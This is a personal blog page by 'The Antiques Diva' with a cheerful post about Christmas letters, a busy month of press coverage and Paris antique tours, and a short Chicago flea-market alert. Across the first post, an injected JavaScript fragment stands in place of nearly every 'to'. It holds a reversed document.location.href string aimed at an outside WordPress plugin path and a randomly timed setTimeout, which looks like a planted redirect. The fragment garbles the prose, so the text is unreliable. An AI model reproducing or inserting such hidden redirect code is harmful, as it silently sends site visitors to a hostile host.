Life Laundry – Personal Ponderings

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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>Every year at Christmas I write one of those annoying letters – you know the ones – where friends tell you about their year in excruciating detail, tucking in snapshots of beach holidays and telling ridiculously cheery good news. The one that causes you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to groan out loud. When writing my Christmas letters I, for one, like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share the beastly details along with the best. The year my husband and I suddenly were transferred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Paris with his company in September, we started the Christmas newsletter by giving an accurate-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-date count of the number of gray hairs I’d sprouted as of that point and then went intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a long, detailed account of our dearly departed pet Catalina’s problems with gingivitis before announcing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the world that we’d finally fulfilled our life dream and moved toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Paris.

In a world divided by optimists & pessimists, I fall strongly on the side of the former. I have a sunny disposition – one that I’ve been toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told can be annoying at times as I truly always see the silver lining in any situation and am a generally happy-go-lucky girl. As a child, my mother said about me – and mind you, I come from a rural, agricultural upbringing so don’t let the colorfulness of this next phrase shock – that I could “fall in a bucket of cow manure and find a bright, shiny penny”.

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Life is about yen and yang. You take the good with the bad and though this last month I’ve seen loads of bad and even stubbed my toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toe shortly before sitting down toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write this blog, this last month has also been sensational. It started with meeting my blog hero Ronda Carman of “All the Best”, getting a podcast interview on her site, then doing my blog interview “Hamming it Up with The Antiques Diva” with “La Mom” then that interview getting picked up first by Parisien Salon and then by Lonely Planet. Meanwhile I hit the glossy pages this month, making an appearance in the Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober issues of both Marie Claire & Travel + Leisure, the latter alongside one of the darlings of the antique world, Claudia Strasser of Paris Apartment.

And as this blog is posting, I’m sitting in a café beside an antique market in Paris, having a coup de champagne. End September and early Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober is being filled with an explosion of new clients, new blog readers as a result of all this recent media coverage and my Fall French Flea Market Extravaganza. I left my apartment in Berlin on Sept 22 and won’t sleep in my own bed again (or see my darling husband) until Oct 7, but in the meantime I’ve led a series of group toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours (and a journalist) around The Netherlands, then I hit the road running, arriving in Paris for a glorious two weeks of one-on-one dates with private clients, spending time with 3 different journalists and doing several small group toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours.

On toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of it all, I’ve eaten Paris one bite at a time and caught up with old friends, tucking visits in between antique shops and flea markets. I’m exhausted but life is good. And when I return home toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Berlin, I’ll crawl intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bed with my husband, snuggling intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the nook of his arm, and then I will sleep again… Until then, it’s time for another café crème and time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hit another flea market with client on arm! It’s a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tough job, but someone has toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do it!

Until next time,

The Antiques Diva™

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The One Minute Diva – Chicago Antiques Market and Kane County Flea Market Alert!

oving Reporter La Reine is at it again, asking me to remind all you Chicago Chickies (or simply the Chicago bound) to mark your calendars for Oct 27 – 28, 2007 for the last Chicago Antiques Market of the season! Operating the last Sunday of the month from May – Oct, the CAM is an utterly diva-worthy attraction! Their motto, “New York has Chelsea, London has and Paris has Clingnancourt, finally Chicago has The Chicago Antiques Market”, has The Antiques Diva ™ considering hopping the next flight to O’hare simply so I can see in person how the CAM compares with these other “Big Boys of the Flea Marketing World”! I want to see why Travel and Leisure magazine calls The Chicago Antiques Market, “one of the top 3 urban flea markets in America.”

If you’re still in the mood for flea-marketing after going to the CAM, then consider the Kane County Flea Market in St. Charles, Illinois on Nov 3-4 or Dec 1-2 for some serious bargains. Should you enjoy your visit, then you’re in luck because this flea market is open year-round on the first weekend of the month. “Neither snow, nor rain, nor heat” will cause Kane County Flea Market to cancel a sale, for just like the US Postal Service, they promise to always deliver! Over 1000 vendors sell genuine antiques, cool vintage stuff and just plain junk!

While La Reine did hit the September CAM, she didn’t make the October dates at Kane County as she was in Palm Beach with Floridian things on her mind. But rumor has it that her mom, The Queen Mum, went to KC so perhaps she’ll regale my readers with a quick update of her purchases!

Until next time,
The Antiques Diva ™
and
Roving Reporter La Reine

(Seen here antique shopping together last winter in Amsterdam)